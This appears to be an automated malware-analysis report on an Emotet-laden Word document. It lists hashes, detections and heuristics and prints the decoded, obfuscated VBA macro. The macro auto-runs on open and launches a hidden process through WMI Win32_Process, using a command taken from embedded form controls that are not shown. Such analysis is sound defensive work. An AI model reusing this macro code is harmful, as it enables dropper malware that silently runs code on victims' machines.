Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 4cccd050234aa4a0…

MALICIOUS

Office (OLE)

117.6 KB Created: 2019-05-23 18:15:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 082b006027889b06a42450b2c0acd3d1 SHA-1: 6e8e4f46df60a3cecbd51e7b7ae3791c1f39da6e SHA-256: 4cccd050234aa4a04cf4400b4b0fdcb22ede36bc42dbf830c0a03853dce5fd48
242 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6978977-0'. Critical heuristics indicate the presence of VBA macros with an auto-exec marker ('autoopen') and a WMI Win32_Process launcher. This suggests the macro attempts to download and execute a second-stage payload, a common Emotet behavior. The GetObject call further supports the execution of external processes.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6978977-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6978977-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3934 bytes
SHA-256: deb1fe7d670134958c8685aea27bb9bf29da0f711f3de9f4f5a46617ef2f4cd9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "LNfi6ZqT"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "sE9zwiE, 0, 0, MSForms, ComboBox"
Attribute VB_Control = "IrXA8B, 1, 1, MSForms, ComboBox"
Attribute VB_Control = "sZrnwsH, 2, 2, MSForms, ComboBox"
Sub autoopen()
   Debug.Print (775 _
) + (906)
 Debug.Print QCNr1w _
+ (598)
 Debug.Print (KAju7pA) + (177)
 Debug.Print _
(994) + m1EN0sB
Ip2hwwI
   Debug.Print (603 _
) + (26)
 Debug.Print szwY572 _
+ (636)
 Debug.Print (ZnDVDhT) + (653)
 Debug.Print _
(833) + j6zRIHi
End Sub


Attribute VB_Name = "uiwkQzKp"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "z1V3Wz"

Attribute VB_Name = "W9MCBl"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "isJnks5"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "zjOtvYJ"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "h5jL9I_X"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "rmz4fd"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Trv9A48L"
Function Ip2hwwI()
If 177132 = 177132 Then
   Debug.Print (327 _
) + (879)
 Debug.Print zwi6L35P _
+ (211)
 Debug.Print (Su2cbr0E) + (9)
 Debug.Print _
(379) + YWAZlb
Set tf3KNqB = GetObject("wi" _
+ "n" + "mg" + _
"mts:w" + "in32" + "_proc" _
+ "ess" + "sta" _
+ "rtup")
End If
   Debug.Print (317 _
) + (198)
 Debug.Print LqBMom _
+ (127)
 Debug.Print (GmLCw4Q) + (968)
 Debug.Print _
(105) + mOA619
With tf3KNqB
   Debug.Print (945 _
) + (437)
 Debug.Print wSONuX _
+ (604)
 Debug.Print (Psotwrju) + (24)
 Debug.Print _
(445) + CELQbP00
. _
ShowWindow = V6uU03PC - z1SAI7 - P7_mS5N
   Debug.Print (706 _
) + (20)
 Debug.Print Iaw8cMN _
+ (272)
 Debug.Print (rfkXi0Zi) + (967)
 Debug.Print _
(465) + hpTHMBH
End With
If 177132 = 177132 Then
   Debug.Print (989 _
) + (973)
 Debug.Print WkUX5_Ic _
+ (198)
 Debug.Print (VrPA1j4) + (57)
 Debug.Print _
(216) + kkzZS2
GetObject("wi" _
+ "n" + "mg" _
+ "mts:w" + "in32" + "_proc" _
+ "ess") _
.Create# LNfi6ZqT.IrXA8B + LNfi6ZqT.sZrnwsH + LNfi6ZqT.sE9zwiE, pClZcIH0, tf3KNqB, Sznh6hwI
   Debug.Print (213 _
) + (222)
 Debug.Print HHswqs _
+ (616)
 Debug.Print (Zwt9_zl) + (2)
 Debug.Print _
(303) + WGzz_XV
End If
End Function


Attribute VB_Name = "QLm3PM"